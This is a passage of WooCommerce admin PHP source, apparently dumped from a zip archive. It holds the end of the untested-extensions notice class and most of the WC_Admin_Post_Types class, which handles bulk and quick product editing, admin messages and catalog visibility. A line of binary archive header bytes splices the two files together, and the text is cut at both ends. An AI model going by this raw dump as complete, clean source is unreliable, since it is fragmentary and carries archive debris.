					var $overlay = $( '#TB_overlay' );
					if ( ! $overlay.length ) {
						$( 'body' ).append( '<div id="TB_overlay"></div><div id="TB_window" class="wc_untested_extensions_modal_container"></div>' );
					} else {
						$( '#TB_window' ).removeClass( 'thickbox-loading' ).addClass( 'wc_untested_extensions_modal_container' );
					}

					// WP overrides the tb_position function. We need to use a different tb_position function than that one.
					// This is based on the original tb_position.
					if ( ! old_tb_position ) {
						old_tb_position = tb_position;
					}
					tb_position = function() {
						$( '#TB_window' ).css( { marginLeft: '-' + parseInt( ( TB_WIDTH / 2 ), 10 ) + 'px', width: TB_WIDTH + 'px' } );
						$( '#TB_window' ).css( { marginTop: '-' + parseInt( ( TB_HEIGHT / 2 ), 10 ) + 'px' } );
					};
				});

				// Reset tb_position to WP default when modal is closed.
				$( 'body' ).on( 'thickbox:removed', function() {
					if ( old_tb_position ) {
						tb_position = old_tb_position;
					}
				});
			})( jQuery );
		</script>
		<?php
	}

	/*
	|--------------------------------------------------------------------------
	| Message Helpers
	|--------------------------------------------------------------------------
	|
	| Methods for getting messages.
	*/

	/**
	 * Get the inline warning notice for major version updates.
	 *
	 * @return string
	 */
	protected function get_extensions_inline_warning_major() {
		$upgrade_type  = 'major';
		$plugins       = $this->major_untested_plugins;
		$version_parts = explode( '.', $this->new_version );
		$new_version   = $version_parts[0] . '.0';

		if ( empty( $plugins ) ) {
			return;
		}

		/* translators: %s: version number */
		$message = sprintf( __( "<strong>Heads up!</strong> The versions of the following plugins you're running haven't been tested with WooCommerce %s. Please update them or confirm compatibility before updating WooCommerce, or you may experience issues:", 'woocommerce' ), $new_version );

		ob_start();
		include __DIR__ . '/views/html-notice-untested-extensions-inline.php';
		return ob_get_clean();
	}

	/**
	 * Get the warning notice for the modal window.
	 *
	 * @return string
	 */
	protected function get_extensions_modal_warning() {
		$version_parts = explode( '.', $this->new_version );
		$new_version   = $version_parts[0] . '.0';
		$plugins       = $this->major_untested_plugins;

		ob_start();
		include __DIR__ . '/views/html-notice-untested-extensions-modal.php';
		return ob_get_clean();
	}

	/*
	|--------------------------------------------------------------------------
	| Data Helpers
	|--------------------------------------------------------------------------
	|
	| Methods for getting & manipulating data.
	*/

	/**
	 * Get installed plugins that have a tested version lower than the input version.
	 *
	 * In case of testing major version compatibility and if current WC version is >= major version part
	 * of the $new_version, no plugins are returned, even if they don't explicitly declare compatibility
	 * with the $new_version.
	 *
	 * @param string $new_version WooCommerce version to test against.
	 * @param string $release 'major', 'minor', or 'none'.
	 * @return array of plugin info arrays
	 */
	public function get_untested_plugins( $new_version, $release ) {
		// Since 5.0 all versions are backwards compatible.
		if ( 'none' === $release ) {
			return array();
		}

		$extensions        = array_merge( $this->get_plugins_with_header( self::VERSION_TESTED_HEADER ), $this->get_plugins_for_woocommerce() );
		$untested          = array();
		$new_version_parts = explode( '.', $new_version );
		$version           = $new_version_parts[0];

		if ( 'minor' === $release ) {
			$version .= '.' . $new_version_parts[1];
		}

		foreach ( $extensions as $file => $plugin ) {
			if ( ! empty( $plugin[ self::VERSION_TESTED_HEADER ] ) ) {
				$plugin_version_parts = explode( '.', $plugin[ self::VERSION_TESTED_HEADER ] );

				if ( ! is_numeric( $plugin_version_parts[0] )
					|| ( 'minor' === $release && ! isset( $plugin_version_parts[1] ) )
					|| ( 'minor' === $release && ! is_numeric( $plugin_version_parts[1] ) )
					) {
					continue;
				}

				$plugin_version = $plugin_version_parts[0];

				if ( 'minor' === $release ) {
					$plugin_version .= '.' . $plugin_version_parts[1];
				}

				if ( version_compare( $plugin_version, $version, '<' ) ) {
					$untested[ $file ] = $plugin;
				}
			} else {
				$plugin[ self::VERSION_TESTED_HEADER ] = __( 'unknown', 'woocommerce' );
				$untested[ $file ]                     = $plugin;
			}
		}

		return $untested;
	}

	/**
	 * Get plugins that have a valid value for a specific header.
	 *
	 * @param string $header Plugin header to search for.
	 * @return array Array of plugins that contain the searched header.
	 */
	protected function get_plugins_with_header( $header ) {
		$plugins = get_plugins();
		$matches = array();

		foreach ( $plugins as $file => $plugin ) {
			if ( ! empty( $plugin[ $header ] ) ) {
				$matches[ $file ] = $plugin;
			}
		}

		return apply_filters( 'woocommerce_get_plugins_with_header', $matches, $header, $plugins );
	}

	/**
	 * Get plugins which "maybe" are for WooCommerce.
	 *
	 * @return array of plugin info arrays
	 */
	protected function get_plugins_for_woocommerce() {
		$plugins = get_plugins();
		$matches = array();

		foreach ( $plugins as $file => $plugin ) {
			if ( 'WooCommerce' !== $plugin['Name'] && ( stristr( $plugin['Name'], 'woocommerce' ) || stristr( $plugin['Description'], 'woocommerce' ) ) ) {
				$matches[ $file ] = $plugin;
			}
		}

		return apply_filters( 'woocommerce_get_plugins_for_woocommerce', $matches, $plugins );
	}
}
PK�3\WCV[ˎˎclass-wc-admin-post-types.phpnu�[���<?php
/**
 * Post Types Admin
 *
 * @package  WooCommerce\Admin
 * @version  3.3.0
 */

use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Utilities\NumberUtil;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_Post_Types', false ) ) {
	new WC_Admin_Post_Types();
	return;
}

/**
 * WC_Admin_Post_Types Class.
 *
 * Handles the edit posts views and some functionality on the edit post screen for WC post types.
 */
class WC_Admin_Post_Types {

	/**
	 * Constructor.
	 */
	public function __construct() {
		include_once __DIR__ . '/class-wc-admin-meta-boxes.php';

		if ( ! function_exists( 'duplicate_post_plugin_activation' ) ) {
			include_once __DIR__ . '/class-wc-admin-duplicate-product.php';
		}

		// Load correct list table classes for current screen.
		add_action( 'current_screen', array( $this, 'setup_screen' ) );
		add_action( 'check_ajax_referer', array( $this, 'setup_screen' ) );

		// Admin notices.
		add_filter( 'post_updated_messages', array( $this, 'post_updated_messages' ) );
		add_filter( 'bulk_post_updated_messages', array( $this, 'bulk_post_updated_messages' ), 10, 2 );

		// Disable Auto Save.
		add_action( 'admin_print_scripts', array( $this, 'disable_autosave' ) );

		// Extra post data and screen elements.
		add_action( 'edit_form_top', array( $this, 'edit_form_top' ) );
		add_filter( 'enter_title_here', array( $this, 'enter_title_here' ), 1, 2 );
		add_action( 'edit_form_after_title', array( $this, 'edit_form_after_title' ) );
		add_filter( 'default_hidden_meta_boxes', array( $this, 'hidden_meta_boxes' ), 10, 2 );
		add_action( 'post_submitbox_misc_actions', array( $this, 'product_data_visibility' ) );

		// Uploads.
		add_filter( 'upload_dir', array( $this, 'upload_dir' ) );
		add_filter( 'wp_unique_filename', array( $this, 'update_filename' ), 10, 3 );
		add_action( 'media_upload_downloadable_product', array( $this, 'media_upload_downloadable_product' ) );

		// Hide template for CPT archive.
		add_filter( 'theme_page_templates', array( $this, 'hide_cpt_archive_templates' ), 10, 3 );
		add_action( 'edit_form_top', array( $this, 'show_cpt_archive_notice' ) );

		// Add a post display state for special WC pages.
		add_filter( 'display_post_states', array( $this, 'add_display_post_states' ), 10, 2 );

		// Bulk / quick edit.
		add_action( 'bulk_edit_custom_box', array( $this, 'bulk_edit' ), 10, 2 );
		add_action( 'quick_edit_custom_box', array( $this, 'quick_edit' ), 10, 2 );
		add_action( 'save_post', array( $this, 'bulk_and_quick_edit_hook' ), 10, 2 );
		add_action( 'woocommerce_product_bulk_and_quick_edit', array( $this, 'bulk_and_quick_edit_save_post' ), 10, 2 );
	}

	/**
	 * Looks at the current screen and loads the correct list table handler.
	 *
	 * @since 3.3.0
	 */
	public function setup_screen() {
		global $wc_list_table;

		$request_data = $this->request_data();

		$screen_id = false;

		if ( function_exists( 'get_current_screen' ) ) {
			$screen    = get_current_screen();
			$screen_id = isset( $screen, $screen->id ) ? $screen->id : '';
		}

		if ( ! empty( $request_data['screen'] ) ) {
			$screen_id = wc_clean( wp_unslash( $request_data['screen'] ) );
		}

		switch ( $screen_id ) {
			case 'edit-shop_order':
				include_once __DIR__ . '/list-tables/class-wc-admin-list-table-orders.php';
				$wc_list_table = new WC_Admin_List_Table_Orders();
				break;
			case 'edit-shop_coupon':
				include_once __DIR__ . '/list-tables/class-wc-admin-list-table-coupons.php';
				$wc_list_table = new WC_Admin_List_Table_Coupons();
				break;
			case 'edit-product':
				include_once __DIR__ . '/list-tables/class-wc-admin-list-table-products.php';
				$wc_list_table = new WC_Admin_List_Table_Products();
				break;
		}

		// Ensure the table handler is only loaded once. Prevents multiple loads if a plugin calls check_ajax_referer many times.
		remove_action( 'current_screen', array( $this, 'setup_screen' ) );
		remove_action( 'check_ajax_referer', array( $this, 'setup_screen' ) );
	}

	/**
	 * Change messages when a post type is updated.
	 *
	 * @param  array $messages Array of messages.
	 * @return array
	 */
	public function post_updated_messages( $messages ) {
		global $post;

		$messages['product'] = array(
			0  => '', // Unused. Messages start at index 1.
			/* translators: %s: Product view URL. */
			1  => sprintf( __( 'Product updated. <a href="%s">View Product</a>', 'woocommerce' ), esc_url( get_permalink( $post->ID ) ) ),
			2  => __( 'Custom field updated.', 'woocommerce' ),
			3  => __( 'Custom field deleted.', 'woocommerce' ),
			4  => __( 'Product updated.', 'woocommerce' ),
			5  => __( 'Revision restored.', 'woocommerce' ),
			/* translators: %s: product url */
			6  => sprintf( __( 'Product published. <a href="%s">View Product</a>', 'woocommerce' ), esc_url( get_permalink( $post->ID ) ) ),
			7  => __( 'Product saved.', 'woocommerce' ),
			/* translators: %s: product url */
			8  => sprintf( __( 'Product submitted. <a target="_blank" href="%s">Preview product</a>', 'woocommerce' ), esc_url( add_query_arg( 'preview', 'true', get_permalink( $post->ID ) ) ) ),
			9  => sprintf(
				/* translators: 1: date 2: product url */
				__( 'Product scheduled for: %1$s. <a target="_blank" href="%2$s">Preview product</a>', 'woocommerce' ),
				'<strong>' . date_i18n( __( 'M j, Y @ G:i', 'woocommerce' ), strtotime( $post->post_date ) ) . '</strong>',
				esc_url( get_permalink( $post->ID ) )
			),
			/* translators: %s: product url */
			10 => sprintf( __( 'Product draft updated. <a target="_blank" href="%s">Preview product</a>', 'woocommerce' ), esc_url( add_query_arg( 'preview', 'true', get_permalink( $post->ID ) ) ) ),
		);

		$messages['shop_order'] = array(
			0  => '', // Unused. Messages start at index 1.
			1  => __( 'Order updated.', 'woocommerce' ),
			2  => __( 'Custom field updated.', 'woocommerce' ),
			3  => __( 'Custom field deleted.', 'woocommerce' ),
			4  => __( 'Order updated.', 'woocommerce' ),
			5  => __( 'Revision restored.', 'woocommerce' ),
			6  => __( 'Order updated.', 'woocommerce' ),
			7  => __( 'Order saved.', 'woocommerce' ),
			8  => __( 'Order submitted.', 'woocommerce' ),
			9  => sprintf(
				/* translators: %s: date */
				__( 'Order scheduled for: %s.', 'woocommerce' ),
				'<strong>' . date_i18n( __( 'M j, Y @ G:i', 'woocommerce' ), strtotime( $post->post_date ) ) . '</strong>'
			),
			10 => __( 'Order draft updated.', 'woocommerce' ),
			11 => __( 'Order updated and sent.', 'woocommerce' ),
		);

		$messages['shop_coupon'] = array(
			0  => '', // Unused. Messages start at index 1.
			1  => __( 'Coupon updated.', 'woocommerce' ),
			2  => __( 'Custom field updated.', 'woocommerce' ),
			3  => __( 'Custom field deleted.', 'woocommerce' ),
			4  => __( 'Coupon updated.', 'woocommerce' ),
			5  => __( 'Revision restored.', 'woocommerce' ),
			6  => __( 'Coupon updated.', 'woocommerce' ),
			7  => __( 'Coupon saved.', 'woocommerce' ),
			8  => __( 'Coupon submitted.', 'woocommerce' ),
			9  => sprintf(
				/* translators: %s: date */
				__( 'Coupon scheduled for: %s.', 'woocommerce' ),
				'<strong>' . date_i18n( __( 'M j, Y @ G:i', 'woocommerce' ), strtotime( $post->post_date ) ) . '</strong>'
			),
			10 => __( 'Coupon draft updated.', 'woocommerce' ),
		);

		return $messages;
	}

	/**
	 * Specify custom bulk actions messages for different post types.
	 *
	 * @param  array $bulk_messages Array of messages.
	 * @param  array $bulk_counts Array of how many objects were updated.
	 * @return array
	 */
	public function bulk_post_updated_messages( $bulk_messages, $bulk_counts ) {
		$bulk_messages['product'] = array(
			/* translators: %s: product count */
			'updated'   => _n( '%s product updated.', '%s products updated.', $bulk_counts['updated'], 'woocommerce' ),
			/* translators: %s: product count */
			'locked'    => _n( '%s product not updated, somebody is editing it.', '%s products not updated, somebody is editing them.', $bulk_counts['locked'], 'woocommerce' ),
			/* translators: %s: product count */
			'deleted'   => _n( '%s product permanently deleted.', '%s products permanently deleted.', $bulk_counts['deleted'], 'woocommerce' ),
			/* translators: %s: product count */
			'trashed'   => _n( '%s product moved to the Trash.', '%s products moved to the Trash.', $bulk_counts['trashed'], 'woocommerce' ),
			/* translators: %s: product count */
			'untrashed' => _n( '%s product restored from the Trash.', '%s products restored from the Trash.', $bulk_counts['untrashed'], 'woocommerce' ),
		);

		$bulk_messages['shop_order'] = array(
			/* translators: %s: order count */
			'updated'   => _n( '%s order updated.', '%s orders updated.', $bulk_counts['updated'], 'woocommerce' ),
			/* translators: %s: order count */
			'locked'    => _n( '%s order not updated, somebody is editing it.', '%s orders not updated, somebody is editing them.', $bulk_counts['locked'], 'woocommerce' ),
			/* translators: %s: order count */
			'deleted'   => _n( '%s order permanently deleted.', '%s orders permanently deleted.', $bulk_counts['deleted'], 'woocommerce' ),
			/* translators: %s: order count */
			'trashed'   => _n( '%s order moved to the Trash.', '%s orders moved to the Trash.', $bulk_counts['trashed'], 'woocommerce' ),
			/* translators: %s: order count */
			'untrashed' => _n( '%s order restored from the Trash.', '%s orders restored from the Trash.', $bulk_counts['untrashed'], 'woocommerce' ),
		);

		$bulk_messages['shop_coupon'] = array(
			/* translators: %s: coupon count */
			'updated'   => _n( '%s coupon updated.', '%s coupons updated.', $bulk_counts['updated'], 'woocommerce' ),
			/* translators: %s: coupon count */
			'locked'    => _n( '%s coupon not updated, somebody is editing it.', '%s coupons not updated, somebody is editing them.', $bulk_counts['locked'], 'woocommerce' ),
			/* translators: %s: coupon count */
			'deleted'   => _n( '%s coupon permanently deleted.', '%s coupons permanently deleted.', $bulk_counts['deleted'], 'woocommerce' ),
			/* translators: %s: coupon count */
			'trashed'   => _n( '%s coupon moved to the Trash.', '%s coupons moved to the Trash.', $bulk_counts['trashed'], 'woocommerce' ),
			/* translators: %s: coupon count */
			'untrashed' => _n( '%s coupon restored from the Trash.', '%s coupons restored from the Trash.', $bulk_counts['untrashed'], 'woocommerce' ),
		);

		return $bulk_messages;
	}

	/**
	 * Custom bulk edit - form.
	 *
	 * @param string $column_name Column being shown.
	 * @param string $post_type Post type being shown.
	 */
	public function bulk_edit( $column_name, $post_type ) {
		if ( 'price' !== $column_name || 'product' !== $post_type ) {
			return;
		}

		$shipping_class = get_terms(
			'product_shipping_class',
			array(
				'hide_empty' => false,
			)
		);

		include WC()->plugin_path() . '/includes/admin/views/html-bulk-edit-product.php';
	}

	/**
	 * Custom quick edit - form.
	 *
	 * @param string $column_name Column being shown.
	 * @param string $post_type Post type being shown.
	 */
	public function quick_edit( $column_name, $post_type ) {
		if ( 'price' !== $column_name || 'product' !== $post_type ) {
			return;
		}

		$shipping_class = get_terms(
			'product_shipping_class',
			array(
				'hide_empty' => false,
			)
		);

		include WC()->plugin_path() . '/includes/admin/views/html-quick-edit-product.php';
	}

	/**
	 * Offers a way to hook into save post without causing an infinite loop
	 * when quick/bulk saving product info.
	 *
	 * @since 3.0.0
	 * @param int    $post_id Post ID being saved.
	 * @param object $post Post object being saved.
	 */
	public function bulk_and_quick_edit_hook( $post_id, $post ) {
		remove_action( 'save_post', array( $this, 'bulk_and_quick_edit_hook' ) );
		do_action( 'woocommerce_product_bulk_and_quick_edit', $post_id, $post );
		add_action( 'save_post', array( $this, 'bulk_and_quick_edit_hook' ), 10, 2 );
	}

	/**
	 * Quick and bulk edit saving.
	 *
	 * @param int    $post_id Post ID being saved.
	 * @param object $post Post object being saved.
	 * @return int
	 */
	public function bulk_and_quick_edit_save_post( $post_id, $post ) {
		$request_data = $this->request_data();

		// If this is an autosave, our form has not been submitted, so we don't want to do anything.
		if ( Constants::is_true( 'DOING_AUTOSAVE' ) ) {
			return $post_id;
		}

		// Don't save revisions and autosaves.
		if ( wp_is_post_revision( $post_id ) || wp_is_post_autosave( $post_id ) || 'product' !== $post->post_type || ! current_user_can( 'edit_post', $post_id ) ) {
			return $post_id;
		}

		// Check nonce.
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
		if ( ! isset( $request_data['woocommerce_quick_edit_nonce'] ) || ! wp_verify_nonce( $request_data['woocommerce_quick_edit_nonce'], 'woocommerce_quick_edit_nonce' ) ) {
			return $post_id;
		}

		// Get the product and save.
		$product = wc_get_product( $post );

		if ( ! empty( $request_data['woocommerce_quick_edit'] ) ) { // WPCS: input var ok.
			$this->quick_edit_save( $post_id, $product );
		} else {
			$this->bulk_edit_save( $post_id, $product );
		}

		return $post_id;
	}

	/**
	 * Quick edit.
	 *
	 * @param int        $post_id Post ID being saved.
	 * @param WC_Product $product Product object.
	 */
	private function quick_edit_save( $post_id, $product ) {
		$request_data = $this->request_data();

		$data_store        = $product->get_data_store();
		$old_regular_price = $product->get_regular_price();
		$old_sale_price    = $product->get_sale_price();
		$input_to_props    = array(
			'_weight'     => 'weight',
			'_length'     => 'length',
			'_width'      => 'width',
			'_height'     => 'height',
			'_visibility' => 'catalog_visibility',
			'_tax_class'  => 'tax_class',
			'_tax_status' => 'tax_status',
		);

		foreach ( $input_to_props as $input_var => $prop ) {
			if ( isset( $request_data[ $input_var ] ) ) {
				$product->{"set_{$prop}"}( wc_clean( wp_unslash( $request_data[ $input_var ] ) ) );
			}
		}

		if ( isset( $request_data['_sku'] ) ) {
			$sku = $product->get_sku();
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash
			$new_sku = (string) wc_clean( $request_data['_sku'] );

			if ( $new_sku !== $sku ) {
				if ( ! empty( $new_sku ) ) {
					$unique_sku = wc_product_has_unique_sku( $post_id, $new_sku );
					if ( $unique_sku ) {
						$product->set_sku( wc_clean( wp_unslash( $new_sku ) ) );
					}
				} else {
					$product->set_sku( '' );
				}
			}
		}

		if ( ! empty( $request_data['_shipping_class'] ) ) {
			if ( '_no_shipping_class' === $request_data['_shipping_class'] ) {
				$product->set_shipping_class_id( 0 );
			} else {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash
				$shipping_class_id = $data_store->get_shipping_class_id_by_slug( wc_clean( $request_data['_shipping_class'] ) );
				$product->set_shipping_class_id( $shipping_class_id );
			}
		}

		$product->set_featured( isset( $request_data['_featured'] ) );

		if ( $product->is_type( 'simple' ) || $product->is_type( 'external' ) ) {

			if ( isset( $request_data['_regular_price'] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash
				$new_regular_price = ( '' === $request_data['_regular_price'] ) ? '' : wc_format_decimal( $request_data['_regular_price'] );
				$product->set_regular_price( $new_regular_price );
			} else {
				$new_regular_price = null;
			}
			if ( isset( $request_data['_sale_price'] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash
				$new_sale_price = ( '' === $request_data['_sale_price'] ) ? '' : wc_format_decimal( $request_data['_sale_price'] );
				$product->set_sale_price( $new_sale_price );
			} else {
				$new_sale_price = null;
			}

			// Handle price - remove dates and set to lowest.
			$price_changed = false;

			if ( ! is_null( $new_regular_price ) && $new_regular_price !== $old_regular_price ) {
				$price_changed = true;
			} elseif ( ! is_null( $new_sale_price ) && $new_sale_price !== $old_sale_price ) {
				$price_changed = true;
			}

			if ( $price_changed ) {
				$product->set_date_on_sale_to( '' );
				$product->set_date_on_sale_from( '' );
			}
		}

		// Handle Stock Data.
		// phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		$manage_stock = ! empty( $request_data['_manage_stock'] ) && 'grouped' !== $product->get_type() ? 'yes' : 'no';
		$backorders   = ! empty( $request_data['_backorders'] ) ? wc_clean( $request_data['_backorders'] ) : 'no';
		if ( ! empty( $request_data['_stock_status'] ) ) {
			$stock_status = wc_clean( $request_data['_stock_status'] );
		} else {
			$stock_status = $product->is_type( 'variable' ) ? null : 'instock';
		}
		// phpcs:enable WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

		$product->set_manage_stock( $manage_stock );

		if ( 'external' !== $product->get_type() ) {
			$product->set_backorders( $backorders );
		}

		if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) {
			$stock_amount = 'yes' === $manage_stock && isset( $request_data['_stock'] ) && is_numeric( wp_unslash( $request_data['_stock'] ) ) ? wc_stock_amount( wp_unslash( $request_data['_stock'] ) ) : '';
			$product->set_stock_quantity( $stock_amount );
		}

		$product = $this->maybe_update_stock_status( $product, $stock_status );

		$product->save();

		do_action( 'woocommerce_product_quick_edit_save', $product );
	}

	/**
	 * Bulk edit.
	 *
	 * @param int        $post_id Post ID being saved.
	 * @param WC_Product $product Product object.
	 */
	public function bulk_edit_save( $post_id, $product ) {
		// phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash

		$request_data = $this->request_data();

		$data_store = $product->get_data_store();

		if ( ! empty( $request_data['change_weight'] ) && isset( $request_data['_weight'] ) ) {
			$product->set_weight( wc_clean( wp_unslash( $request_data['_weight'] ) ) );
		}

		if ( ! empty( $request_data['change_dimensions'] ) ) {
			if ( isset( $request_data['_length'] ) ) {
				$product->set_length( wc_clean( wp_unslash( $request_data['_length'] ) ) );
			}
			if ( isset( $request_data['_width'] ) ) {
				$product->set_width( wc_clean( wp_unslash( $request_data['_width'] ) ) );
			}
			if ( isset( $request_data['_height'] ) ) {
				$product->set_height( wc_clean( wp_unslash( $request_data['_height'] ) ) );
			}
		}

		if ( ! empty( $request_data['_tax_status'] ) ) {
			$product->set_tax_status( wc_clean( $request_data['_tax_status'] ) );
		}

		if ( ! empty( $request_data['_tax_class'] ) ) {
			$tax_class = wc_clean( wp_unslash( $request_data['_tax_class'] ) );
			if ( 'standard' === $tax_class ) {
				$tax_class = '';
			}
			$product->set_tax_class( $tax_class );
		}

		if ( ! empty( $request_data['_shipping_class'] ) ) {
			if ( '_no_shipping_class' === $request_data['_shipping_class'] ) {
				$product->set_shipping_class_id( 0 );
			} else {
				$shipping_class_id = $data_store->get_shipping_class_id_by_slug( wc_clean( $request_data['_shipping_class'] ) );
				$product->set_shipping_class_id( $shipping_class_id );
			}
		}

		if ( ! empty( $request_data['_visibility'] ) ) {
			$product->set_catalog_visibility( wc_clean( $request_data['_visibility'] ) );
		}

		if ( ! empty( $request_data['_featured'] ) ) {
			// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			$product->set_featured( wp_unslash( $request_data['_featured'] ) );
			// phpcs:enable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		}

		if ( ! empty( $request_data['_sold_individually'] ) ) {
			if ( 'yes' === $request_data['_sold_individually'] ) {
				$product->set_sold_individually( 'yes' );
			} else {
				$product->set_sold_individually( '' );
			}
		}

		// Handle price - remove dates and set to lowest.
		$change_price_product_types    = apply_filters( 'woocommerce_bulk_edit_save_price_product_types', array( 'simple', 'external' ) );
		$can_product_type_change_price = false;
		foreach ( $change_price_product_types as $product_type ) {
			if ( $product->is_type( $product_type ) ) {
				$can_product_type_change_price = true;
				break;
			}
		}

		if ( $can_product_type_change_price ) {
			$regular_price_changed = $this->set_new_price( $product, 'regular' );
			$sale_price_changed    = $this->set_new_price( $product, 'sale' );

			if ( $regular_price_changed || $sale_price_changed ) {
				$product->set_date_on_sale_to( '' );
				$product->set_date_on_sale_from( '' );

				if ( $product->get_regular_price() < $product->get_sale_price() ) {
					$product->set_sale_price( '' );
				}
			}
		}

		// Handle Stock Data.
		$was_managing_stock = $product->get_manage_stock() ? 'yes' : 'no';
		$backorders         = $product->get_backorders();
		$backorders         = ! empty( $request_data['_backorders'] ) ? wc_clean( $request_data['_backorders'] ) : $backorders;

		if ( ! empty( $request_data['_manage_stock'] ) ) {
			$manage_stock = 'yes' === wc_clean( $request_data['_manage_stock'] ) && 'grouped' !== $product->get_type() ? 'yes' : 'no';
		} else {
			$manage_stock = $was_managing_stock;
		}

		$stock_amount = 'yes' === $manage_stock && ! empty( $request_data['change_stock'] ) && isset( $request_data['_stock'] ) ? wc_stock_amount( $request_data['_stock'] ) : $product->get_stock_quantity();

		$product->set_manage_stock( $manage_stock );

		if ( 'external' !== $product->get_type() ) {
			$product->set_backorders( $backorders );
		}

		if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) {
			$change_stock = absint( $request_data['change_stock'] );
			switch ( $change_stock ) {
				case 2:
					wc_update_product_stock( $product, $stock_amount, 'increase', true );
					break;
				case 3:
					wc_update_product_stock( $product, $stock_amount, 'decrease', true );
					break;
				default:
					wc_update_product_stock( $product, $stock_amount, 'set', true );
					break;
			}
		} else {
			// Reset values if WooCommerce Setting - Manage Stock status is disabled.
			$product->set_stock_quantity( '' );
			$product->set_manage_stock( 'no' );
		}

		$stock_status = empty( $request_data['_stock_status'] ) ? null : wc_clean( $request_data['_stock_status'] );
		$product      = $this->maybe_update_stock_status( $product, $stock_status );

		$product->save();

		do_action( 'woocommerce_product_bulk_edit_save', $product );

		// phpcs:enable WordPress.Security.ValidatedSanitizedInput.MissingUnslash
	}

	/**
	 * Disable the auto-save functionality for Orders.
	 */
	public function disable_autosave() {
		global $post;

		if ( $post && in_array( get_post_type( $post->ID ), wc_get_order_types( 'order-meta-boxes' ), true ) ) {
			wp_dequeue_script( 'autosave' );
		}
	}

	/**
	 * Output extra data on post forms.
	 *
	 * @param WP_Post $post Current post object.
	 */
	public function edit_form_top( $post ) {
		echo '<input type="hidden" id="original_post_title" name="original_post_title" value="' . esc_attr( $post->post_title ) . '" />';
	}

	/**
	 * Change title boxes in admin.
	 *
	 * @param string  $text Text to shown.
	 * @param WP_Post $post Current post object.
	 * @return string
	 */
	public function enter_title_here( $text, $post ) {
		switch ( $post->post_type ) {
			case 'product':
				$text = esc_html__( 'Product name', 'woocommerce' );
				break;
			case 'shop_coupon':
				$text = esc_html__( 'Coupon code', 'woocommerce' );
				break;
		}
		return $text;
	}

	/**
	 * Print coupon description textarea field.
	 *
	 * @param WP_Post $post Current post object.
	 */
	public function edit_form_after_title( $post ) {
		// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped
		if ( 'shop_coupon' === $post->post_type ) {
			?>
			<textarea id="woocommerce-coupon-description" name="excerpt" cols="5" rows="2" placeholder="<?php esc_attr_e( 'Description (optional)', 'woocommerce' ); ?>"><?php echo $post->post_excerpt; ?></textarea>
			<?php
		}
		// phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped
	}

	/**
	 * Hidden default Meta-Boxes.
	 *
	 * @param  array  $hidden Hidden boxes.
	 * @param  object $screen Current screen.
	 * @return array
	 */
	public function hidden_meta_boxes( $hidden, $screen ) {
		if ( 'product' === $screen->post_type && 'post' === $screen->base ) {
			$hidden = array_merge( $hidden, array( 'postcustom' ) );
		}

		return $hidden;
	}

	/**
	 * Output product visibility options.
	 */
	public function product_data_visibility() {
		global $post, $thepostid, $product_object;

		if ( 'product' !== $post->post_type ) {
			return;
		}

		$thepostid          = $post->ID;
		$product_object     = $thepostid ? wc_get_product( $thepostid ) : new WC_Product();
		$current_visibility = $product_object->get_catalog_visibility();
		$current_featured   = wc_bool_to_string( $product_object->get_featured() );
		$visibility_options = wc_get_product_visibility_options();
		?>
		<div class="misc-pub-section" id="catalog-visibility">
			<?php esc_html_e( 'Catalog visibility:', 'woocommerce' ); ?>
			<strong id="catalog-visibility-display">
				<?php

				echo isset( $visibility_options[ $current_visibility ] ) ? esc_html( $visibility_options[ $current_visibility ] ) : esc_html( $current_visibility );

				if ( 'yes' === $current_featured ) {
					echo ', ' . esc_html__( 'Featured', 'woocommerce' );
				}
				?>
			</strong>

			<a href="#catalog-visibility" class="edit-catalog-visibility hide-if-no-js"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a>

			<div id="catalog-visibility-select" class="hide-if-js">

				<input type="hidden" name="current_visibility" id="current_visibility" value="<?php echo esc_attr( $current_visibility ); ?>" />
				<input type="hidden" name="current_featured" id="current_featured" value="<?php echo esc_attr( $current_featured ); ?>" />

				<?php
				echo '<p>' . esc_html__( 'This setting determines which shop pages products will be listed on.', 'woocommerce' ) . '</p>';

				foreach ( $visibility_options as $name => $label ) {
					echo '<input type="radio" name="_visibility" id="_visibility_' . esc_attr( $name ) . '" value="' . esc_attr( $name ) . '" ' . checked( $current_visibility, $name, false ) . ' data-label="' . esc_attr( $label ) . '" /> <label for="_visibility_' . esc_attr( $name ) . '" class="selectit">' . esc_html( $label ) . '</label><br />';
				}

				echo '<br /><input type="checkbox" name="_featured" id="_featured" ' . checked( $current_featured, 'yes', false ) . ' /> <label for="_featured">' . esc_html__( 'This is a featured product', 'woocommerce' ) . '</label><br />';
				?>
				<p>
					<a href="#catalog-visibility" class="save-post-visibility hide-if-no-js button"><?php esc_html_e( 'OK', 'woocommerce' ); ?></a>
					<a href="#catalog-visibility" class="cancel-post-visibility hide-if-no-js"><?php esc_html_e( 'Cancel', 'woocommerce' ); ?></a>
				</p>
			</div>
		</div>
		<?php
	}

	/**
	 * Change upload dir for downloadable files.
	 *
	 * @param array $pathdata Array of paths.
	 * @return array
	 */
	public function upload_dir( $pathdata ) {
		// phpcs:disable WordPress.Security.NonceVerification.Missing
		if ( isset( $_POST['type'] ) && 'downloadable_product' === $_POST['type'] ) {

			if ( empty( $pathdata['subdir'] ) ) {
				$pathdata['path']   = $pathdata['path'] . '/woocommerce_uploads';
				$pathdata['url']    = $pathdata['url'] . '/woocommerce_uploads';
